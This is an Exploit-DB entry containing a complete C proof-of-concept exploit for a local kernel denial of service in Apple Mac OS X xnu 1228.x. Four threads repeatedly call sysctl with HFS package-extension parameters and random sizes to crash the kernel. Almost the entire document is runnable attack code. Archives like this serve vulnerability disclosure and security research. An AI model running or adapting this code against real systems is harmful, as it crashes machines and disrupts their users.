Apple Mac OSX xnu 1228.x - 'vfssysctl' Local Kernel Denial of Service (PoC)

EDB-ID:

8265

Author:

mu-b

Type:

dos

Platform:

OSX

Published:

2009-03-23

/* xnu-vfssysctl-dos.c
 *
 * Copyright (c) 2008 by <mu-b@digit-labs.org>
 *
 * Apple MACOS X xnu <= 1228.x local kernel DoS POC
 * by mu-b - Wed 19 Nov 2008
 *
 * - Tested on: Apple MACOS X 10.5.5 (xnu-1228.8.20~1/RELEASE_I386)
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <hfs/hfs_mount.h>
#include <pthread.h>
#include <string.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <sys/sysctl.h>
#include <unistd.h>

void
hammer (void *arg)
{
  char buf[1024 * (255 + 1)];
  int n, name[6];

  memset (buf, 0, sizeof buf);

  while (1)
    {
      name[0] = CTL_VFS;
      name[1] = 17;
      name[2] = HFS_SET_PKG_EXTENSIONS;
      name[3] = (int) buf;
      name[4] = 1024;
      name[5] = (rand () % 254) + 1;
      n = sysctl (name, 6, NULL, NULL, NULL, 0);

      usleep(10);
    }
}

int
main (int argc, char **argv)
{
  int i, n, tid;

  printf ("Apple MACOS X xnu <= 1228.x local kernel DoS PoC\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");

  for (i = 0; i < 4; i++)
    {
      n = pthread_create (&tid, NULL, hammer, NULL);
      if (n < 0)
        {
          fprintf (stderr, "failed creating hammer thread\n");
          return (EXIT_FAILURE);
        }
    }

  while (1)
    sleep (1);

  /* not reached! */
  return (EXIT_SUCCESS);
}

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